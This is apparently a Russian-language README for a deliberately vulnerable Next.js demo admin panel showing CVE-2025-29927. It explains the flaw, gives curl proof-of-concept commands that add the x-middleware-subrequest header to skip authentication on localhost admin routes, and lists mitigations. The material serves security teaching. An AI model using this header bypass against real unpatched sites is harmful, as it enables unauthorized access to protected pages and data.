Панель администратора Himalaya Tech — Демонстрация CVE-2025-29927

ПРЕДУПРЕЖДЕНИЕ: Это приложение намеренно уязвимо. Только для образовательных и авторизованных целей исследования безопасности. НЕ развертывайте на общедоступном сервере.

Об этой демонстрации

Это приложение демонстрирует CVE-2025-29927, критическую уязвимость обхода аутентификации в промежуточном ПО Next.js (CVSS 9.1). Приложение имитирует реалистичную корпоративную панель администратора для вымышленной компании «Himalaya Tech Pvt. Ltd.» — что делает визуально впечатляющим последствия обхода.

Все записи сотрудников, ключи API, учетные данные базы данных и другие «конфиденциальные» данные, показанные здесь, являются полностью вымышленными и имитированными — созданными только для образовательной демонстрации.

CVE-2025-29927 — Краткое описание уязвимости

Первопричина

Next.js использует внутренний HTTP-заголовок x-middleware-subrequest для отслеживания рекурсивных вызовов middleware и предотвращения бесконечных циклов. В уязвимых версиях злоумышленник может подделать этот заголовок во внешнем запросе. Когда заголовок присутствует и совпадает с идентификатором middleware, среда выполнения Next.js полностью пропускает middleware, включая всю логику аутентификации, определенную в нем.

Воздействие

Любое приложение, которое полагается исключительно на middleware.ts для защиты маршрутов (распространенный и рекомендуемый паттерн Next.js), является уязвимым. Неаутентифицированный злоумышленник может получить доступ к любой защищенной странице, просто добавив один HTTP-заголовок.

Доказательство концепции

Обычный запрос (заблокирован — перенаправление на /login)

curl -v http://localhost:3000/admin
# → 307 Redirect to /login

Запрос с обходом (успешен — возвращает полную страницу администратора)

curl -v \
  -H "x-middleware-subrequest: middleware" \
  http://localhost:3000/admin

# → 200 OK — full admin dashboard HTML returned, no authentication required

Доступ к вложенным защищенным маршрутам

# Admin users page
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users

# System settings with "production credentials"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings

Использование в браузере (через Burp Suite / расширение браузера)

Добавьте заголовок запроса x-middleware-subrequest: middleware к любому запросу к /admin/* и проверка middleware будет пропущена.

Почему это приложение уязвимо

middleware.ts является единственным механизмом защиты:

// middleware.ts
export function middleware(request: NextRequest) {
  if (pathname.startsWith("/admin")) {
    const token = request.cookies.get("auth-token")?.value;
    if (!token || token !== "valid-session-xyz123") {
      return NextResponse.redirect(loginUrl); // ← this entire function is skipped
    }
  }
  return NextResponse.next();
}

Сами компоненты страниц (например, app/admin/page.tsx) не содержат проверок аутентификации — намеренно, чтобы отражать реальные приложения, которые следуют шаблону защиты только через middleware.

Установка и запуск

Предварительные требования

• Node.js 18+
• npm или yarn

Установка

npm install

Запуск сервера разработки

npm run dev

Приложение будет доступно по адресу http://localhost:3000.

Маршруты

*Защищено только middleware — обходится через CVE-2025-29927.

Демонстрационные учетные данные (обычный вход)

• Электронная почта: [email protected]
• Пароль: Admin@2024

Смягчение последствий

1. Обновите Next.js до версии 14.2.30+ или 15.2.3+.
2. Эшелонированная защита: Добавьте проверки аутентификации на стороне сервера внутри компонентов страниц/обработчиков маршрутов, а не только в middleware. Middleware следует рассматривать как оптимизацию UX, а не границу безопасности.
3. Удаляйте заголовок на вашем обратном прокси/CDN до того, как запросы достигнут Next.js.

Отказ от ответственности

Это приложение предоставляется только в образовательных целях, специально для демонстрации реального воздействия CVE-2025-29927 в контексте курса по этичной безопасности. Все данные (записи сотрудников, ключи API, учетные данные) являются полностью вымышленными. Не используйте это демонстрационное приложение или продемонстрированные здесь методы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.